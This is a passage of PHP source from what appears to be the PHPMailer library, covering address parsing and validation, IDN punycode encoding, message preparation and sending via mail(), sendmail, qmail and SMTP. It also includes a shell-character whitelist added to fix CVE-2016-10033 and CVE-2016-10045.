947 * Error severity: message only, continue processing.
948 */
949 const STOP_MESSAGE = 0;
950 /**
951 * Error severity: message, likely ok to continue processing.
952 */
953 const STOP_CONTINUE = 1;
954 /**
955 * Error severity: message, plus full stop, critical error reached.
956 */
957 const STOP_CRITICAL = 2;
958 /**
959 * SMTP RFC standard line ending.
960 */
961 const CRLF = "\r\n";
962 /**
963 * The maximum line length allowed by RFC 2822 section 2.1.1
964 * @var integer
965 */
966 const MAX_LINE_LENGTH = 998;
967 /**
968 * Constructor.
969 * @param boolean $exceptions Should we throw external exceptions?
970 */
971 public function __construct($exceptions = null)
972 {
973 if ($exceptions !== null) {
974 $this->exceptions = (boolean)$exceptions;
975 }
976 }
977 /**
978 * Destructor.
979 */
980 public function __destruct()
981 {
982 //Close any open SMTP connection nicely
983 $this->smtpClose();
984 }
985 /**
986 * Call mail() in a safe_mode-aware fashion.
987 * Also, unless sendmail_path points to sendmail (or something that
988 * claims to be sendmail), don't pass params (not a perfect fix,
989 * but it will do)
990 * @param string $to To
991 * @param string $subject Subject
992 * @param string $body Message Body
993 * @param string $header Additional Header(s)
994 * @param string $params Params
995 * @access private
996 * @return boolean
997 */
998 private function mailPassthru($to, $subject, $body, $header, $params)
999 {
1000 //Check overloading of mail function to avoid double-encoding
1001 if (ini_get('mbstring.func_overload') & 1) {
1002 $subject = $this->secureHeader($subject);
1003 } else {
1004 $subject = $this->encodeHeader($this->secureHeader($subject));
1005 }
1006 //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
1007 //@link http://php.net/manual/en/function.mail.php
1008 if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
1009 $result = @mail($to, $subject, $body, $header);
1010 } else {
1011 $result = @mail($to, $subject, $body, $header, $params);
1012 }
1013 return $result;
1014 }
1015 /**
1016 * Output debugging info via user-defined method.
1017 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
1018 * @see PHPMailer::$Debugoutput
1019 * @see PHPMailer::$SMTPDebug
1020 * @param string $str
1021 */
1022 protected function edebug($str)
1023 {
1024 if ($this->SMTPDebug <= 0) {
1025 return;
1026 }
1027 //Avoid clash with built-in function names
1028 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
1029 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
1030 return;
1031 }
1032 switch ($this->Debugoutput) {
1033 case 'error_log':
1034 //Don't output, just log
1035 error_log($str);
1036 break;
1037 case 'html':
1038 //Cleans up output a bit for a better looking, HTML-safe output
1039 echo htmlentities(
1040 preg_replace('/[\r\n]+/', '', $str),
1041 ENT_QUOTES,
1042 'UTF-8'
1043 )
1044 . "<br>\n";
1045 break;
1046 case 'echo':
1047 default:
1048 //Normalize line breaks
1049 $str = preg_replace('/\r\n?/ms', "\n", $str);
1050 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
1051 "\n",
1052 "\n \t ",
1053 trim($str)
1054 ) . "\n";
1055 }
1056 }
1057 /**
1058 * Sets message type to HTML or plain.
1059 * @param boolean $isHtml True for HTML mode.
1060 * @return void
1061 */
1062 public function isHTML($isHtml = true)
1063 {
1064 if ($isHtml) {
1065 $this->ContentType = 'text/html';
1066 } else {
1067 $this->ContentType = 'text/plain';
1068 }
1069 }
1070 /**
1071 * Send messages using SMTP.
1072 * @return void
1073 */
1074 public function isSMTP()
1075 {
1076 $this->Mailer = 'smtp';
1077 }
1078 /**
1079 * Send messages using PHP's mail() function.
1080 * @return void
1081 */
1082 public function isMail()
1083 {
1084 $this->Mailer = 'mail';
1085 }
1086 /**
1087 * Send messages using $Sendmail.
1088 * @return void
1089 */
1090 public function isSendmail()
1091 {
1092 $ini_sendmail_path = ini_get('sendmail_path');
1093 if (!stristr($ini_sendmail_path, 'sendmail')) {
1094 $this->Sendmail = '/usr/sbin/sendmail';
1095 } else {
1096 $this->Sendmail = $ini_sendmail_path;
1097 }
1098 $this->Mailer = 'sendmail';
1099 }
1100 /**
1101 * Send messages using qmail.
1102 * @return void
1103 */
1104 public function isQmail()
1105 {
1106 $ini_sendmail_path = ini_get('sendmail_path');
1107 if (!stristr($ini_sendmail_path, 'qmail')) {
1108 $this->Sendmail = '/var/qmail/bin/qmail-inject';
1109 } else {
1110 $this->Sendmail = $ini_sendmail_path;
1111 }
1112 $this->Mailer = 'qmail';
1113 }
1114 /**
1115 * Add a "To" address.
1116 * @param string $address The email address to send to
1117 * @param string $name
1118 * @return boolean true on success, false if address already used or invalid in some way
1119 */
1120 public function addAddress($address, $name = '')
1121 {
1122 return $this->addOrEnqueueAnAddress('to', $address, $name);
1123 }
1124 /**
1125 * Add a "CC" address.
1126 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1127 * @param string $address The email address to send to
1128 * @param string $name
1129 * @return boolean true on success, false if address already used or invalid in some way
1130 */
1131 public function addCC($address, $name = '')
1132 {
1133 return $this->addOrEnqueueAnAddress('cc', $address, $name);
1134 }
1135 /**
1136 * Add a "BCC" address.
1137 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
1138 * @param string $address The email address to send to
1139 * @param string $name
1140 * @return boolean true on success, false if address already used or invalid in some way
1141 */
1142 public function addBCC($address, $name = '')
1143 {
1144 return $this->addOrEnqueueAnAddress('bcc', $address, $name);
1145 }
1146 /**
1147 * Add a "Reply-To" address.
1148 * @param string $address The email address to reply to
1149 * @param string $name
1150 * @return boolean true on success, false if address already used or invalid in some way
1151 */
1152 public function addReplyTo($address, $name = '')
1153 {
1154 return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
1155 }
1156 /**
1157 * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
1158 * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
1159 * be modified after calling this function), addition of such addresses is delayed until send().
1160 * Addresses that have been added already return false, but do not throw exceptions.
1161 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1162 * @param string $address The email address to send, resp. to reply to
1163 * @param string $name
1164 * @throws phpmailerException
1165 * @return boolean true on success, false if address already used or invalid in some way
1166 * @access protected
1167 */
1168 protected function addOrEnqueueAnAddress($kind, $address, $name)
1169 {
1170 $address = trim($address);
1171 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1172 if (($pos = strrpos($address, '@')) === false) {
1173 // At-sign is misssing.
1174 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1175 $this->setError($error_message);
1176 $this->edebug($error_message);
1177 if ($this->exceptions) {
1178 throw new phpmailerException($error_message);
1179 }
1180 return false;
1181 }
1182 $params = array($kind, $address, $name);
1183 // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
1184 if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
1185 if ($kind != 'Reply-To') {
1186 if (!array_key_exists($address, $this->RecipientsQueue)) {
1187 $this->RecipientsQueue[$address] = $params;
1188 return true;
1189 }
1190 } else {
1191 if (!array_key_exists($address, $this->ReplyToQueue)) {
1192 $this->ReplyToQueue[$address] = $params;
1193 return true;
1194 }
1195 }
1196 return false;
1197 }
1198 // Immediately add standard addresses without IDN.
1199 return call_user_func_array(array($this, 'addAnAddress'), $params);
1200 }
1201 /**
1202 * Add an address to one of the recipient arrays or to the ReplyTo array.
1203 * Addresses that have been added already return false, but do not throw exceptions.
1204 * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
1205 * @param string $address The email address to send, resp. to reply to
1206 * @param string $name
1207 * @throws phpmailerException
1208 * @return boolean true on success, false if address already used or invalid in some way
1209 * @access protected
1210 */
1211 protected function addAnAddress($kind, $address, $name = '')
1212 {
1213 if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
1214 $error_message = $this->lang('Invalid recipient kind: ') . $kind;
1215 $this->setError($error_message);
1216 $this->edebug($error_message);
1217 if ($this->exceptions) {
1218 throw new phpmailerException($error_message);
1219 }
1220 return false;
1221 }
1222 if (!$this->validateAddress($address)) {
1223 $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
1224 $this->setError($error_message);
1225 $this->edebug($error_message);
1226 if ($this->exceptions) {
1227 throw new phpmailerException($error_message);
1228 }
1229 return false;
1230 }
1231 if ($kind != 'Reply-To') {
1232 if (!array_key_exists(strtolower($address), $this->all_recipients)) {
1233 array_push($this->$kind, array($address, $name));
1234 $this->all_recipients[strtolower($address)] = true;
1235 return true;
1236 }
1237 } else {
1238 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
1239 $this->ReplyTo[strtolower($address)] = array($address, $name);
1240 return true;
1241 }
1242 }
1243 return false;
1244 }
1245 /**
1246 * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
1247 * of the form "display name <address>" into an array of name/address pairs.
1248 * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
1249 * Note that quotes in the name part are removed.
1250 * @param string $addrstr The address list string
1251 * @param bool $useimap Whether to use the IMAP extension to parse the list
1252 * @return array
1253 * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
1254 */
1255 public function parseAddresses($addrstr, $useimap = true)
1256 {
1257 $addresses = array();
1258 if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
1259 //Use this built-in parser if it's available
1260 $list = imap_rfc822_parse_adrlist($addrstr, '');
1261 foreach ($list as $address) {
1262 if ($address->host != '.SYNTAX-ERROR.') {
1263 if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
1264 $addresses[] = array(
1265 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
1266 'address' => $address->mailbox . '@' . $address->host
1267 );
1268 }
1269 }
1270 }
1271 } else {
1272 //Use this simpler parser
1273 $list = explode(',', $addrstr);
1274 foreach ($list as $address) {
1275 $address = trim($address);
1276 //Is there a separate name part?
1277 if (strpos($address, '<') === false) {
1278 //No separate name, just use the whole thing
1279 if ($this->validateAddress($address)) {
1280 $addresses[] = array(
1281 'name' => '',
1282 'address' => $address
1283 );
1284 }
1285 } else {
1286 list($name, $email) = explode('<', $address);
1287 $email = trim(str_replace('>', '', $email));
1288 if ($this->validateAddress($email)) {
1289 $addresses[] = array(
1290 'name' => trim(str_replace(array('"', "'"), '', $name)),
1291 'address' => $email
1292 );
1293 }
1294 }
1295 }
1296 }
1297 return $addresses;
1298 }
1299 /**
1300 * Set the From and FromName properties.
1301 * @param string $address
1302 * @param string $name
1303 * @param boolean $auto Whether to also set the Sender address, defaults to true
1304 * @throws phpmailerException
1305 * @return boolean
1306 */
1307 public function setFrom($address, $name = '', $auto = true)
1308 {
1309 $address = trim($address);
1310 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
1311 // Don't validate now addresses with IDN. Will be done in send().
1312 if (($pos = strrpos($address, '@')) === false or
1313 (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1314 !$this->validateAddress($address)) {
1315 $error_message = $this->lang('invalid_address') . " (setFrom) $address";
1316 $this->setError($error_message);
1317 $this->edebug($error_message);
1318 if ($this->exceptions) {
1319 throw new phpmailerException($error_message);
1320 }
1321 return false;
1322 }
1323 $this->From = $address;
1324 $this->FromName = $name;
1325 if ($auto) {
1326 if (empty($this->Sender)) {
1327 $this->Sender = $address;
1328 }
1329 }
1330 return true;
1331 }
1332 /**
1333 * Return the Message-ID header of the last email.
1334 * Technically this is the value from the last time the headers were created,
1335 * but it's also the message ID of the last sent message except in
1336 * pathological cases.
1337 * @return string
1338 */
1339 public function getLastMessageID()
1340 {
1341 return $this->lastMessageID;
1342 }
1343 /**
1344 * Check that a string looks like an email address.
1345 * @param string $address The email address to check
1346 * @param string|callable $patternselect A selector for the validation pattern to use :
1347 * * `auto` Pick best pattern automatically;
1348 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
1349 * * `pcre` Use old PCRE implementation;
1350 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
1351 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
1352 * * `noregex` Don't use a regex: super fast, really dumb.
1353 * Alternatively you may pass in a callable to inject your own validator, for example:
1354 * PHPMailer::validateAddress('user@example.com', function($address) {
1355 * return (strpos($address, '@') !== false);
1356 * });
1357 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
1358 * @return boolean
1359 * @static
1360 * @access public
1361 */
1362 public static function validateAddress($address, $patternselect = null)
1363 {
1364 if (is_null($patternselect)) {
1365 $patternselect = self::$validator;
1366 }
1367 if (is_callable($patternselect)) {
1368 return call_user_func($patternselect, $address);
1369 }
1370 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
1371 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
1372 return false;
1373 }
1374 if (!$patternselect or $patternselect == 'auto') {
1375 //Check this constant first so it works when extension_loaded() is disabled by safe mode
1376 //Constant was added in PHP 5.2.4
1377 if (defined('PCRE_VERSION')) {
1378 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
1379 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
1380 $patternselect = 'pcre8';
1381 } else {
1382 $patternselect = 'pcre';
1383 }
1384 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
1385 //Fall back to older PCRE
1386 $patternselect = 'pcre';
1387 } else {
1388 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
1389 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
1390 $patternselect = 'php';
1391 } else {
1392 $patternselect = 'noregex';
1393 }
1394 }
1395 }
1396 switch ($patternselect) {
1397 case 'pcre8':
1398 /**
1399 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
1400 * @link http://squiloople.com/2009/12/20/email-address-validation/
1401 * @copyright 2009-2010 Michael Rushton
1402 * Feel free to use and redistribute this code. But please keep this copyright notice.
1403 */
1404 return (boolean)preg_match(
1405 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
1406 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
1407 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
1408 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
1409 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
1410 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
1411 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
1412 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1413 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
1414 $address
1415 );
1416 case 'pcre':
1417 //An older regex that doesn't need a recent PCRE
1418 return (boolean)preg_match(
1419 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
1420 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
1421 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
1422 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
1423 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
1424 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
1425 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
1426 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
1427 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
1428 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
1429 $address
1430 );
1431 case 'html5':
1432 /**
1433 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
1434 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
1435 */
1436 return (boolean)preg_match(
1437 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
1438 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
1439 $address
1440 );
1441 case 'noregex':
1442 //No PCRE! Do something _very_ approximate!
1443 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
1444 return (strlen($address) >= 3
1445 and strpos($address, '@') >= 1
1446 and strpos($address, '@') != strlen($address) - 1);
1447 case 'php':
1448 default:
1449 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
1450 }
1451 }
1452 /**
1453 * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
1454 * "intl" and "mbstring" PHP extensions.
1455 * @return bool "true" if required functions for IDN support are present
1456 */
1457 public function idnSupported()
1458 {
1459 // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
1460 return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
1461 }
1462 /**
1463 * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
1464 * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
1465 * This function silently returns unmodified address if:
1466 * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
1467 * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
1468 * or fails for any reason (e.g. domain has characters not allowed in an IDN)
1469 * @see PHPMailer::$CharSet
1470 * @param string $address The email address to convert
1471 * @return string The encoded address in ASCII form
1472 */
1473 public function punyencodeAddress($address)
1474 {
1475 // Verify we have required functions, CharSet, and at-sign.
1476 if ($this->idnSupported() and
1477 !empty($this->CharSet) and
1478 ($pos = strrpos($address, '@')) !== false) {
1479 $domain = substr($address, ++$pos);
1480 // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
1481 if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
1482 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
1483 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
1484 idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
1485 idn_to_ascii($domain)) !== false) {
1486 return substr($address, 0, $pos) . $punycode;
1487 }
1488 }
1489 }
1490 return $address;
1491 }
1492 /**
1493 * Create a message and send it.
1494 * Uses the sending method specified by $Mailer.
1495 * @throws phpmailerException
1496 * @return boolean false on error - See the ErrorInfo property for details of the error.
1497 */
1498 public function send()
1499 {
1500 try {
1501 if (!$this->preSend()) {
1502 return false;
1503 }
1504 return $this->postSend();
1505 } catch (phpmailerException $exc) {
1506 $this->mailHeader = '';
1507 $this->setError($exc->getMessage());
1508 if ($this->exceptions) {
1509 throw $exc;
1510 }
1511 return false;
1512 }
1513 }
1514 /**
1515 * Prepare a message for sending.
1516 * @throws phpmailerException
1517 * @return boolean
1518 */
1519 public function preSend()
1520 {
1521 try {
1522 $this->error_count = 0; // Reset errors
1523 $this->mailHeader = '';
1524 // Dequeue recipient and Reply-To addresses with IDN
1525 foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
1526 $params[1] = $this->punyencodeAddress($params[1]);
1527 call_user_func_array(array($this, 'addAnAddress'), $params);
1528 }
1529 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1530 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
1531 }
1532 // Validate From, Sender, and ConfirmReadingTo addresses
1533 foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
1534 $this->$address_kind = trim($this->$address_kind);
1535 if (empty($this->$address_kind)) {
1536 continue;
1537 }
1538 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
1539 if (!$this->validateAddress($this->$address_kind)) {
1540 $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
1541 $this->setError($error_message);
1542 $this->edebug($error_message);
1543 if ($this->exceptions) {
1544 throw new phpmailerException($error_message);
1545 }
1546 return false;
1547 }
1548 }
1549 // Set whether the message is multipart/alternative
1550 if ($this->alternativeExists()) {
1551 $this->ContentType = 'multipart/alternative';
1552 }
1553 $this->setMessageType();
1554 // Refuse to send an empty message unless we are specifically allowing it
1555 if (!$this->AllowEmpty and empty($this->Body)) {
1556 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
1557 }
1558 // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
1559 $this->MIMEHeader = '';
1560 $this->MIMEBody = $this->createBody();
1561 // createBody may have added some headers, so retain them
1562 $tempheaders = $this->MIMEHeader;
1563 $this->MIMEHeader = $this->createHeader();
1564 $this->MIMEHeader .= $tempheaders;
1565 // To capture the complete message when using mail(), create
1566 // an extra header list which createHeader() doesn't fold in
1567 if ($this->Mailer == 'mail') {
1568 if (count($this->to) > 0) {
1569 $this->mailHeader .= $this->addrAppend('To', $this->to);
1570 } else {
1571 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
1572 }
1573 $this->mailHeader .= $this->headerLine(
1574 'Subject',
1575 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
1576 );
1577 }
1578 // Sign with DKIM if enabled
1579 if (!empty($this->DKIM_domain)
1580 && !empty($this->DKIM_selector)
1581 && (!empty($this->DKIM_private_string)
1582 || (!empty($this->DKIM_private) && file_exists($this->DKIM_private))
1583 )
1584 ) {
1585 $header_dkim = $this->DKIM_Add(
1586 $this->MIMEHeader . $this->mailHeader,
1587 $this->encodeHeader($this->secureHeader($this->Subject)),
1588 $this->MIMEBody
1589 );
1590 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
1591 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
1592 }
1593 return true;
1594 } catch (phpmailerException $exc) {
1595 $this->setError($exc->getMessage());
1596 if ($this->exceptions) {
1597 throw $exc;
1598 }
1599 return false;
1600 }
1601 }
1602 /**
1603 * Actually send a message.
1604 * Send the email via the selected mechanism
1605 * @throws phpmailerException
1606 * @return boolean
1607 */
1608 public function postSend()
1609 {
1610 try {
1611 // Choose the mailer and send through it
1612 switch ($this->Mailer) {
1613 case 'sendmail':
1614 case 'qmail':
1615 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
1616 case 'smtp':
1617 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
1618 case 'mail':
1619 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1620 default:
1621 $sendMethod = $this->Mailer.'Send';
1622 if (method_exists($this, $sendMethod)) {
1623 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
1624 }
1625 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
1626 }
1627 } catch (phpmailerException $exc) {
1628 $this->setError($exc->getMessage());
1629 $this->edebug($exc->getMessage());
1630 if ($this->exceptions) {
1631 throw $exc;
1632 }
1633 }
1634 return false;
1635 }
1636 /**
1637 * Send mail using the $Sendmail program.
1638 * @param string $header The message headers
1639 * @param string $body The message body
1640 * @see PHPMailer::$Sendmail
1641 * @throws phpmailerException
1642 * @access protected
1643 * @return boolean
1644 */
1645 protected function sendmailSend($header, $body)
1646 {
1647 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1648 if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
1649 if ($this->Mailer == 'qmail') {
1650 $sendmailFmt = '%s -f%s';
1651 } else {
1652 $sendmailFmt = '%s -oi -f%s -t';
1653 }
1654 } else {
1655 if ($this->Mailer == 'qmail') {
1656 $sendmailFmt = '%s';
1657 } else {
1658 $sendmailFmt = '%s -oi -t';
1659 }
1660 }
1661 // TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.
1662 $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
1663 if ($this->SingleTo) {
1664 foreach ($this->SingleToArray as $toAddr) {
1665 if (!@$mail = popen($sendmail, 'w')) {
1666 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1667 }
1668 fputs($mail, 'To: ' . $toAddr . "\n");
1669 fputs($mail, $header);
1670 fputs($mail, $body);
1671 $result = pclose($mail);
1672 $this->doCallback(
1673 ($result == 0),
1674 array($toAddr),
1675 $this->cc,
1676 $this->bcc,
1677 $this->Subject,
1678 $body,
1679 $this->From
1680 );
1681 if ($result != 0) {
1682 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1683 }
1684 }
1685 } else {
1686 if (!@$mail = popen($sendmail, 'w')) {
1687 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1688 }
1689 fputs($mail, $header);
1690 fputs($mail, $body);
1691 $result = pclose($mail);
1692 $this->doCallback(
1693 ($result == 0),
1694 $this->to,
1695 $this->cc,
1696 $this->bcc,
1697 $this->Subject,
1698 $body,
1699 $this->From
1700 );
1701 if ($result != 0) {
1702 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
1703 }
1704 }
1705 return true;
1706 }
1707 /**
1708 * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
1709 *
1710 * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
1711 * @param string $string The string to be validated
1712 * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
1713 * @access protected
1714 * @return boolean
1715 */
1716 protected static function isShellSafe($string)
1717 {
1718 // Future-proof
1719 if (escapeshellcmd($string) !== $string
1720 or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
1721 ) {
1722 return false;
1723 }
1724 $length = strlen($string);
1725 for ($i = 0; $i < $length; $i++) {
1726 $c = $string[$i];
1727 // All other characters have a special meaning in at least one common shell, including = and +.
1728 // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
1729 // Note that this does permit non-Latin alphanumeric characters based on the current locale.
1730 if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
1731 return false;
1732 }
1733 }
1734 return true;
1735 }
1736 /**
1737 * Send mail using the PHP mail() function.
1738 * @param string $header The message headers
1739 * @param string $body The message body
1740 * @link http://www.php.net/manual/en/book.mail.php
1741 * @throws phpmailerException
1742 * @access protected
1743 * @return boolean
1744 */
1745 protected function mailSend($header, $body)
1746 {
1747 $toArr = array();
1748 foreach ($this->to as $toaddr) {
1749 $toArr[] = $this->addrFormat($toaddr);
1750 }
1751 $to = implode(', ', $toArr);
1752 $params = null;
1753 //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
1754 if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
1755 // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
1756 if (self::isShellSafe($this->Sender)) {
1757 $params = sprintf('-f%s', $this->Sender);
1758 }
1759 }
1760 if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
1761 $old_from = ini_get('sendmail_from');
1762 ini_set('sendmail_from', $this->Sender);
1763 }
1764 $result = false;
1765 if ($this->SingleTo and count($toArr) > 1) {
1766 foreach ($toArr as $toAddr) {
1767 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
1768 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1769 }
1770 } else {
1771 $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
1772 $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
1773 }
1774 if (isset($old_from)) {
1775 ini_set('sendmail_from', $old_from);
1776 }
1777 if (!$result) {
1778 throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
1779 }
1780 return true;
1781 }
1782 /**
1783 * Get an instance to use for SMTP operations.
1784 * Override this function to load your own SMTP implementation
1785 * @return SMTP
1786 */
1787 public function getSMTPInstance()
1788 {
1789 if (!is_object($this->smtp)) {
1790 $this->smtp = new SMTP;
1791 }
1792 return $this->smtp;
1793 }
1794 /**
1795 * Send mail via SMTP.
1796 * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
1797 * Uses the PHPMailerSMTP class by default.
1798 * @see PHPMailer::getSMTPInstance() to use a different class.
1799 * @param string $header The message headers
1800 * @param string $body The message body
1801 * @throws phpmailerException
